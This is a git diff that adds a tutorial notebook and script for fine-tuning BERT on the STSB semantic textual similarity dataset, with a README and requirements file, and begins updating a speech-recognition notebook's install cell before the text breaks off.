"markdown", + "metadata": { + "id": "zyIxF_7J3ep5" + }, + "source": [ + "### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JH7_0ASp3oDW" + }, + "outputs": [], + "source": [ + "# Takes a time in seconds and returns a string hh:mm:ss\n", + "def format_time(elapsed):\n", + " # Round to the nearest second.\n", + " elapsed_rounded = int(round((elapsed)))\n", + " \n", + " # Format as hh:mm:ss\n", + " return str(datetime.timedelta(seconds=elapsed_rounded))" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "jJFhpUJp92Qe" + }, + "source": [ + "### 10. Define the training function, and start the training loop" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "vdeUXU915NE5" + }, + "outputs": [], + "source": [ + "def train():\n", + " seed_val = 42\n", + "\n", + " criterion = CosineSimilarityLoss()\n", + " criterion = criterion.to(device)\n", + "\n", + " random.seed(seed_val)\n", + " torch.manual_seed(seed_val)\n", + "\n", + " # We'll store a number of quantities such as training and validation loss, \n", + " # validation accuracy, and timings.\n", + " training_stats = []\n", + " total_t0 = time.time()\n", + "\n", + " for epoch_i in range(0, epochs):\n", + " \n", + " # ========================================\n", + " # Training\n", + " # ========================================\n", + "\n", + " print(\"\")\n", + " print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n", + " print('Training...')\n", + "\n", + " t0 = time.time()\n", + "\n", + " total_train_loss = 0\n", + "\n", + " model.train()\n", + "\n", + " # For each batch of training data...\n", + " for train_data, train_label in tqdm(train_dataloader):\n", + "\n", + " train_data['input_ids'] = train_data['input_ids'].to(device)\n", + " train_data['attention_mask'] = train_data['attention_mask'].to(device)\n", + "\n", + " train_data = collate_fn(train_data)\n", + " model.zero_grad()\n", + "\n", + " output = [model(feature) for feature in train_data]\n", + "\n", + " loss = criterion(output, train_label.to(device))\n", + " total_train_loss += loss.item()\n", + "\n", + " loss.backward()\n", + " torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n", + " optimizer.step()\n", + " scheduler.step()\n", + "\n", + " \n", + " # Calculate the average loss over all of the batches.\n", + " avg_train_loss = total_train_loss / len(train_dataloader) \n", + " \n", + " # Measure how long this epoch took.\n", + " training_time = format_time(time.time() - t0)\n", + "\n", + " print(\"\")\n", + " print(\" Average training loss: {0:.5f}\".format(avg_train_loss))\n", + " print(\" Training epoch took: {:}\".format(training_time))\n", + " \n", + " # ========================================\n", + " # Validation\n", + " # ========================================\n", + "\n", + " print(\"\")\n", + " print(\"Running Validation...\")\n", + "\n", + " t0 = time.time()\n", + "\n", + " model.eval()\n", + "\n", + " total_eval_accuracy = 0\n", + " total_eval_loss = 0\n", + " nb_eval_steps = 0\n", + "\n", + " # Evaluate data for one epoch\n", + " for val_data, val_label in tqdm(validation_dataloader):\n", + "\n", + " val_data['input_ids'] = val_data['input_ids'].to(device)\n", + " val_data['attention_mask'] = val_data['attention_mask'].to(device)\n", + "\n", + " val_data = collate_fn(val_data)\n", + "\n", + " with torch.no_grad(): \n", + " output = [model(feature) for feature in val_data]\n", + "\n", + " loss = criterion(output, val_label.to(device))\n", + " total_eval_loss += loss.item()\n", + "\n", + " # Calculate the average loss over all of the batches.\n", + " avg_val_loss = total_eval_loss / len(validation_dataloader)\n", + " \n", + " # Measure how long the validation run took.\n", + " validation_time = format_time(time.time() - t0)\n", + " \n", + " print(\" Validation Loss: {0:.5f}\".format(avg_val_loss))\n", + " print(\" Validation took: {:}\".format(validation_time))\n", + "\n", + " # Record all statistics from this epoch.\n", + " training_stats.append(\n", + " {\n", + " 'epoch': epoch_i + 1,\n", + " 'Training Loss': avg_train_loss,\n", + " 'Valid. Loss': avg_val_loss,\n", + " 'Training Time': training_time,\n", + " 'Validation Time': validation_time\n", + " }\n", + " )\n", + "\n", + " print(\"\")\n", + " print(\"Training complete!\")\n", + "\n", + " print(\"Total training took {:} (h:mm:ss)\".format(format_time(time.time()-total_t0)))\n", + "\n", + " return model, training_stats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "CoWW_TnZgSRf" + }, + "outputs": [], + "source": [ + "# Launch the training\n", + "model, training_stats = train()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 331 + }, + "id": "nEgMWBU7fzXh", + "outputId": "2adcb8b2-7fb3-422e-d08e-cf701c0240cf" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Training LossValid. LossTraining TimeValidation Time
epoch
10.0326390.0379720:05:290:00:28
20.0307370.0354720:05:280:00:28
30.0279200.0336400:05:290:00:28
40.0250900.0321850:05:290:00:28
50.0232170.0308020:05:270:00:28
60.0211990.0302230:05:290:00:28
70.0195670.0293890:05:280:00:28
80.0178660.0286640:05:290:00:28
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ], + "text/plain": [ + " Training Loss Valid. Loss Training Time Validation Time\n", + "epoch \n", + "1 0.032639 0.037972 0:05:29 0:00:28\n", + "2 0.030737 0.035472 0:05:28 0:00:28\n", + "3 0.027920 0.033640 0:05:29 0:00:28\n", + "4 0.025090 0.032185 0:05:29 0:00:28\n", + "5 0.023217 0.030802 0:05:27 0:00:28\n", + "6 0.021199 0.030223 0:05:29 0:00:28\n", + "7 0.019567 0.029389 0:05:28 0:00:28\n", + "8 0.017866 0.028664 0:05:29 0:00:28" + ] + }, + "execution_count": 31, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Create a DataFrame from our training statistics\n", + "df_stats = pd.DataFrame(data=training_stats)\n", + "\n", + "# Use the 'epoch' as the row index\n", + "df_stats = df_stats.set_index('epoch')\n", + "\n", + "# Display the table\n", + "df_stats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "X7ahIyP4zsXp", + "outputId": "ddd2fa70-5a34-4db3-b6ee-b784d59bfb2d" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "WARNING:datasets.builder:Found cached dataset stsb_multi_mt (/root/.cache/huggingface/datasets/stsb_multi_mt/en/1.0.0/a5d260e4b7aa82d1ab7379523a005a366d9b124c76a5a5cf0c4c5365458b0ba9)\n" + ] + } + ], + "source": [ + "test_dataset = load_dataset(\"stsb_multi_mt\", name=\"en\", split=\"test\")\n", + "\n", + "# Prepare the data\n", + "first_sent = [i['sentence1'] for i in test_dataset]\n", + "second_sent = [i['sentence2'] for i in test_dataset]\n", + "full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wD7oPneMkUhe" + }, + "outputs": [], + "source": [ + "model.eval()\n", + "\n", + "def predict_similarity(sentence_pair):\n", + " \n", + " test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\").to(device)\n", + " test_input['input_ids'] = test_input['input_ids']\n", + " test_input['attention_mask'] = test_input['attention_mask']\n", + " del test_input['token_type_ids']\n", + "\n", + " output = model(test_input)\n", + " sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()\n", + "\n", + " return sim" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "e-lGkcofz6hS", + "outputId": "dd20141d-0496-4426-a97d-0c020612106d" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: A cat is walking around a house.\n", + "Sentence 2: A woman is peeling potato.\n", + "Predicted similarity score: 0.01\n" + ] + } + ], + "source": [ + "example_1 = full_text[100]\n", + "print(f\"Sentence 1: {example_1[0]}\")\n", + "print(f\"Sentence 2: {example_1[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_1), 2)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ViwfU0M2DOgh", + "outputId": "e677ea0a-4ac8-4d38-e0d8-06baa71bbcb9" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: Two men are playing football.\n", + "Sentence 2: Two men are practicing football.\n", + "Predicted similarity score: 0.84\n" + ] + } + ], + "source": [ + "example_2 = full_text[130]\n", + "print(f\"Sentence 1: {example_2[0]}\")\n", + "print(f\"Sentence 2: {example_2[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_2), 2)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sGn-H7ARDnBG", + "outputId": "ea5b057d-40f4-4c9c-896e-ebe6223a6635" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: It varies by the situation.\n", + "Sentence 2: This varies by institution.\n", + "Predicted similarity score: 0.6\n" + ] + } + ], + "source": [ + "example_3 = full_text[812]\n", + "print(f\"Sentence 1: {example_3[0]}\")\n", + "print(f\"Sentence 2: {example_3[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_3), 2)}\")" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "_XovRH0VkXXs" + }, + "source": [ + "### Last but not least, save your model!" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Om3wskAQkaJP" + }, + "outputs": [], + "source": [ + "PATH = 'your/path/here'\n", + "torch.save(model.state_dict(), PATH)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wCe1I2soj-Kj" + }, + "outputs": [], + "source": [ + "# In order to load the model\n", + "# First, you have to create an instance of the model's class\n", + "# And use the saving path for the loading\n", + "# Don't forget to set the model to the evaluation state using .eval()\n", + "\n", + "model = BertForSTS()\n", + "model.load_state_dict(torch.load(PATH))\n", + "model.eval()" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py new file mode 100644 index 00000000..fd025d2e --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py @@ -0,0 +1,390 @@ +# %% [markdown] +# ### 1. Install and import the required packages + +# %% +!pip install transformers sentence-transformers datasets + +# %% +from datasets import load_dataset +from sentence_transformers import SentenceTransformer, models +from transformers import BertTokenizer +from transformers import get_linear_schedule_with_warmup +import torch +from torch.optim import AdamW +from torch.utils.data import DataLoader +from tqdm import tqdm +import time +import datetime +import random +import numpy as np +import pandas as pd + +# %% [markdown] +# ### 2. Use Google Colab's GPU for training + +# %% +if torch.cuda.is_available(): + device = torch.device("cuda") + print(f'There are {torch.cuda.device_count()} GPU(s) available.') + print('We will use the GPU:', torch.cuda.get_device_name(0)) +else: + print('No GPU available, using the CPU instead.') + device = torch.device("cpu") + +# %% [markdown] +# ### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset + +# %% +# Load the English version of the STSB dataset +dataset = load_dataset("stsb_multi_mt", "en") + +# %% +print(dataset) + +# %% +print("A sample from the STSB dataset's training split:") +print(dataset['train'][98]) + +# %% [markdown] +# ### **4.** Define the dataset loader class +# + +# %% +# Instantiate the BERT tokenizer +# You can use larger variants of the model, here we're using the base model +tokenizer = BertTokenizer.from_pretrained('bert-base-uncased') + +# %% +class STSBDataset(torch.utils.data.Dataset): + + def __init__(self, dataset): + + # Normalize the similarity scores in the dataset + similarity_scores = [i['similarity_score'] for i in dataset] + self.normalized_similarity_scores = [i/5.0 for i in similarity_scores] + self.first_sentences = [i['sentence1'] for i in dataset] + self.second_sentences = [i['sentence2'] for i in dataset] + self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)] + + def __len__(self): + + return len(self.concatenated_sentences) + + def get_batch_labels(self, idx): + + return torch.tensor(self.normalized_similarity_scores[idx]) + + def get_batch_texts(self, idx): + + return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors="pt") + + def __getitem__(self, idx): + + batch_texts = self.get_batch_texts(idx) + batch_y = self.get_batch_labels(idx) + + return batch_texts, batch_y + + +def collate_fn(texts): + + input_ids = texts['input_ids'] + attention_masks = texts['attention_mask'] + + features = [{'input_ids': input_id, 'attention_mask': attention_mask} + for input_id, attention_mask in zip(input_ids, attention_masks)] + + return features + +# %% [markdown] +# ### 5. Define the model class based on BERT + +# %% +class BertForSTS(torch.nn.Module): + + def __init__(self): + + super(BertForSTS, self).__init__() + self.bert = models.Transformer('bert-base-uncased', max_seq_length=128) + self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension()) + self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer]) + + def forward(self, input_data): + output = self.sts_bert(input_data)['sentence_embedding'] + return output + +# %% +# Instantiate the model and move it to GPU +model = BertForSTS() +model.to(device) + +# %% [markdown] +# ### 6. Define the Cosine Similarity loss function + +# %% +class CosineSimilarityLoss(torch.nn.Module): + + def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()): + super(CosineSimilarityLoss, self).__init__() + self.loss_fn = loss_fn + self.transform_fn = transform_fn + self.cos_similarity = torch.nn.CosineSimilarity(dim=1) + + def forward(self, inputs, labels): + emb_1 = torch.stack([inp[0] for inp in inputs]) + emb_2 = torch.stack([inp[1] for inp in inputs]) + outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2)) + return self.loss_fn(outputs, labels.squeeze()) + +# %% [markdown] +# ### 7. Prepare the training and validation data split + +# %% +train_ds = STSBDataset(dataset['train']) +val_ds = STSBDataset(dataset['dev']) + +# Create a 90-10 train-validation split. +train_size = len(train_ds) +val_size = len(val_ds) + +print('{:>5,} training samples'.format(train_size)) +print('{:>5,} validation samples'.format(val_size)) + +# %% +batch_size = 8 + +train_dataloader = DataLoader( + train_ds, # The training samples. + num_workers = 4, + batch_size = batch_size, # Use this batch size. + shuffle=True # Select samples randomly for each batch + ) + +validation_dataloader = DataLoader( + val_ds, + num_workers = 4, + batch_size = batch_size # Use the same batch size + ) + +# %% [markdown] +# ### 8. Define the Optimizer and Scheduler + +# %% +optimizer = AdamW(model.parameters(), + lr = 1e-6) + +# %% +epochs = 8 + +# Total number of training steps is [number of batches] x [number of epochs]. +total_steps = len(train_dataloader) * epochs + +scheduler = get_linear_schedule_with_warmup(optimizer, + num_warmup_steps = 0, + num_training_steps = total_steps) + +# %% [markdown] +# ### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss` + +# %% +# Takes a time in seconds and returns a string hh:mm:ss +def format_time(elapsed): + # Round to the nearest second. + elapsed_rounded = int(round((elapsed))) + + # Format as hh:mm:ss + return str(datetime.timedelta(seconds=elapsed_rounded)) + +# %% [markdown] +# ### 10. Define the training function, and start the training loop + +# %% +def train(): + seed_val = 42 + + criterion = CosineSimilarityLoss() + criterion = criterion.to(device) + + random.seed(seed_val) + torch.manual_seed(seed_val) + + # We'll store a number of quantities such as training and validation loss, + # validation accuracy, and timings. + training_stats = [] + total_t0 = time.time() + + for epoch_i in range(0, epochs): + + # ======================================== + # Training + # ======================================== + + print("") + print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs)) + print('Training...') + + t0 = time.time() + + total_train_loss = 0 + + model.train() + + # For each batch of training data... + for train_data, train_label in tqdm(train_dataloader): + + train_data['input_ids'] = train_data['input_ids'].to(device) + train_data['attention_mask'] = train_data['attention_mask'].to(device) + + train_data = collate_fn(train_data) + model.zero_grad() + + output = [model(feature) for feature in train_data] + + loss = criterion(output, train_label.to(device)) + total_train_loss += loss.item() + + loss.backward() + torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0) + optimizer.step() + scheduler.step() + + + # Calculate the average loss over all of the batches. + avg_train_loss = total_train_loss / len(train_dataloader) + + # Measure how long this epoch took. + training_time = format_time(time.time() - t0) + + print("") + print(" Average training loss: {0:.5f}".format(avg_train_loss)) + print(" Training epoch took: {:}".format(training_time)) + + # ======================================== + # Validation + # ======================================== + + print("") + print("Running Validation...") + + t0 = time.time() + + model.eval() + + total_eval_accuracy = 0 + total_eval_loss = 0 + nb_eval_steps = 0 + + # Evaluate data for one epoch + for val_data, val_label in tqdm(validation_dataloader): + + val_data['input_ids'] = val_data['input_ids'].to(device) + val_data['attention_mask'] = val_data['attention_mask'].to(device) + + val_data = collate_fn(val_data) + + with torch.no_grad(): + output = [model(feature) for feature in val_data] + + loss = criterion(output, val_label.to(device)) + total_eval_loss += loss.item() + + # Calculate the average loss over all of the batches. + avg_val_loss = total_eval_loss / len(validation_dataloader) + + # Measure how long the validation run took. + validation_time = format_time(time.time() - t0) + + print(" Validation Loss: {0:.5f}".format(avg_val_loss)) + print(" Validation took: {:}".format(validation_time)) + + # Record all statistics from this epoch. + training_stats.append( + { + 'epoch': epoch_i + 1, + 'Training Loss': avg_train_loss, + 'Valid. Loss': avg_val_loss, + 'Training Time': training_time, + 'Validation Time': validation_time + } + ) + + print("") + print("Training complete!") + + print("Total training took {:} (h:mm:ss)".format(format_time(time.time()-total_t0))) + + return model, training_stats + +# %% +# Launch the training +model, training_stats = train() + +# %% +# Create a DataFrame from our training statistics +df_stats = pd.DataFrame(data=training_stats) + +# Use the 'epoch' as the row index +df_stats = df_stats.set_index('epoch') + +# Display the table +df_stats + +# %% +test_dataset = load_dataset("stsb_multi_mt", name="en", split="test") + +# Prepare the data +first_sent = [i['sentence1'] for i in test_dataset] +second_sent = [i['sentence2'] for i in test_dataset] +full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)] + +# %% +model.eval() + +def predict_similarity(sentence_pair): + + test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors="pt").to(device) + test_input['input_ids'] = test_input['input_ids'] + test_input['attention_mask'] = test_input['attention_mask'] + del test_input['token_type_ids'] + + output = model(test_input) + sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item() + + return sim + +# %% +example_1 = full_text[100] +print(f"Sentence 1: {example_1[0]}") +print(f"Sentence 2: {example_1[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_1), 2)}") + +# %% +example_2 = full_text[130] +print(f"Sentence 1: {example_2[0]}") +print(f"Sentence 2: {example_2[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_2), 2)}") + +# %% +example_3 = full_text[812] +print(f"Sentence 1: {example_3[0]}") +print(f"Sentence 2: {example_3[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_3), 2)}") + +# %% [markdown] +# ### Last but not least, save your model! + +# %% +PATH = 'your/path/here' +torch.save(model.state_dict(), PATH) + +# %% +# In order to load the model +# First, you have to create an instance of the model's class +# And use the saving path for the loading +# Don't forget to set the model to the evaluation state using .eval() + +model = BertForSTS() +model.load_state_dict(torch.load(PATH)) +model.eval() + + diff --git a/machine-learning/nlp/semantic-textual-similarity/README.md b/machine-learning/nlp/semantic-textual-similarity/README.md new file mode 100644 index 00000000..20745c3f --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/README.md @@ -0,0 +1 @@ +# [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/semantic-textual-similarity/requirements.txt b/machine-learning/nlp/semantic-textual-similarity/requirements.txt new file mode 100644 index 00000000..c481c303 --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/requirements.txt @@ -0,0 +1,6 @@ +transformers +sentence-transformers +datasets +tqdm +numpy +pandas \ No newline at end of file diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb index 1d65f262..941eff4c 100644 --- a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb +++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb @@ -2,79 +2,18 @@ "cells": [ { "cell_type": "code", - "execution_count": 87, + "execution_count": null, "metadata": { - "colab": { - "base_uri": "https://localhost:8080/" - }, - "id": "KqiF_SjMysD0", - "outputId": "308ec248-ce64-4e77-ba44-36b4d3c0c9db" + "id": "KqiF_SjMysD0" }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Requirement already satisfied: transformers==4.11.2 in /usr/local/lib/python3.7/dist-packages (4.11.2)\n", - "Requirement already satisfied: datasets in /usr/local/lib/python3.7/dist-packages (1.15.1)\n", - "Requirement already satisfied: soundfile in /usr/local/lib/python3.7/dist-packages (0.10.3.post1)\n", - "Requirement already satisfied: sentencepiece in /usr/local/lib/python3.7/dist-packages (0.1.96)\n", - "Requirement already satisfied: torchaudio in /usr/local/lib/python3.7/dist-packages (0.10.0+cu111)\n", - "Collecting pydub\n", - " Downloading pydub-0.25.1-py2.py3-none-any.whl (32 kB)\n", - "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (21.3)\n", - "Requirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (4.62.3)\n", - "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (1.19.5)\n", - "Requirement already satisfied: tokenizers<0.11,>=0.10.1 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (0.10.3)\n", - "Requirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (2.23.0)\n", - "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (2019.12.20)\n", - "Requirement already satisfied: huggingface-hub>=0.0.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (0.1.2)\n", - "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (4.8.2)\n", - "Requirement already satisfied: sacremoses in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (0.0.46)\n", - "Requirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (6.0)\n", - "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (3.4.0)\n", - "Requirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub>=0.0.17->transformers==4.11.2) (3.10.0.2)\n", - "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers==4.11.2) (3.0.6)\n", - "Requirement already satisfied: multiprocess in /usr/local/lib/python3.7/dist-packages (from datasets) (0.70.12.2)\n", - "Requirement already satisfied: pandas in /usr/local/lib/python3.7/dist-packages (from datasets) (1.1.5)\n", - "Requirement already satisfied: dill in /usr/local/lib/python3.7/dist-packages (from datasets) (0.3.4)\n", - "Requirement already satisfied: aiohttp in /usr/local/lib/python3.7/dist-packages (from datasets) (3.8.1)\n", - "Requirement already satisfied: pyarrow!=4.0.0,>=1.0.0 in /usr/local/lib/python3.7/dist-packages (from datasets) (3.0.0)\n", - "Requirement already satisfied: fsspec[http]>=2021.05.0 in /usr/local/lib/python3.7/dist-packages (from datasets) (2021.11.0)\n", - "Requirement already satisfied: xxhash in /usr/local/lib/python3.7/dist-packages (from datasets) (2.0.2)\n", - "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (3.0.4)\n", - "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (2.10)\n", - "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (1.24.3)\n", - "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (2021.10.8)\n", - "Requirement already satisfied: cffi>=1.0 in /usr/local/lib/python3.7/dist-packages (from soundfile) (1.15.0)\n", - "Requirement already satisfied: pycparser in /usr/local/lib/python3.7/dist-packages (from cffi>=1.0->soundfile) (2.21)\n", - "Requirement already satisfied: torch==1.10.0 in /usr/local/lib/python3.7/dist-packages (from torchaudio) (1.10.0+cu111)\n", - "Requirement already satisfied: multidict<7.0,>=4.5 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (5.2.0)\n", - "Requirement already satisfied: charset-normalizer<3.0,>=2.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (2.0.7)\n", - "Requirement already satisfied: asynctest==0.13.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (0.13.0)\n", - "Requirement already satisfied: attrs>=17.3.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (21.2.0)\n", - "Requirement already satisfied: aiosignal>=1.1.2 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (1.2.0)\n", - "Requirement already satisfied: async-timeout<5.0,>=4.0.0a3 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (4.0.1)\n", - "Requirement already satisfied: frozenlist>=1.1.1 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (1.2.0)\n", - "Requirement already satisfied: yarl<2.0,>=1.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (1.7.2)\n", - "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers==4.11.2) (3.6.0)\n", - "Requirement already satisfied: python-dateutil>=2.7.3 in /usr/local/lib/python3.7/dist-packages (from pandas->datasets) (2.8.2)\n", - "Requirement already satisfied: pytz>=2017.2 in /usr/local/lib/python3.7/dist-packages (from pandas->datasets) (2018.9)\n", - "Requirement already satisfied: six>=1.5 in /usr/local/lib/python3.7/dist-packages (from python-dateutil>=2.7.3->pandas->datasets) (1.15.0)\n", - "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.11.2) (7.1.2)\n", - "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.11.2) (1.1.0)\n", - "Installing collected packages: pydub\n", - "Successfully installed pydub-0.25.1\n" - ] - } - ], + "outputs": [], "source": [ - "!pip install transformers==4.11.2 datasets soundfile sentencepiece torchaudio pyaudio" + "!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub" ] }, { "cell_type": "code", - "execution_count": 73, + "execution_count": null, "metadata": { "id": "IA7sFGYoywJv" }, @@ -85,179 +24,42 @@ "import soundfile as sf\n", "# import librosa\n", "import os\n", - "import torchaudio" + "import torchaudio\n", + "\n", + "device = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "VJBoe7N6PSZO" + }, + "source": [ + "# Wav2Vec2.0 Models\n" ] }, { "cell_type": "code", - "execution_count": 6, + "execution_count": null, "metadata": { - "colab": { - "base_uri": "https://localhost:8080/", - "height": 314, - "referenced_widgets": [ - "45eeb549b03649d9be138001aeb7843c", - "9b1de65486e5484eb61ba378e9e1cefa", - "dc7a3b598c4d45bd9b8d1239c33b510b", - "de6abb9a77ca49549a873cdf65858cda", - "60473b3b063141699845d72b877d752a", - "e5c9003f439147f2a57578d68a947f6a", - "4cdba09932964730b0917c67b10fb689", - "9bfd8b36f86847dda8578ae272316b21", - "42675b60ec444fa393f48779f6a5fc59", - "bd6cde59f35f4022ab7e9fc3f93104a9", - "bd82c30b3a7c45b4af2a9064339fe84e", - "ed2a73a73d054eb6a7d2294bedd368ca", - "b5d0cb0d69aa4df59b8c53d4f70c5345", - "12b41877be1d410dbd44c54b4dfa21b1", - "3b08026412914f058ceccad5ca69ab9e", - "11581f616a1547e4af2fa8059361e120", - "4133b4fc83b64cd5918400a2541c11ad", - "fb5bf22faf6348819bf9bd484dbf05e2", - "eabcbeba261740e08f09cc1513b337ad", - "2c5a040ed23740f189c0d729386c1b71", - "ac569cb10d074b6da5033b8b3b34c731", - "ea67e226c77847aeb178f6d030a4b26e", - "675eefa2dbdc40e0a5a5517dc9eb00d6", - 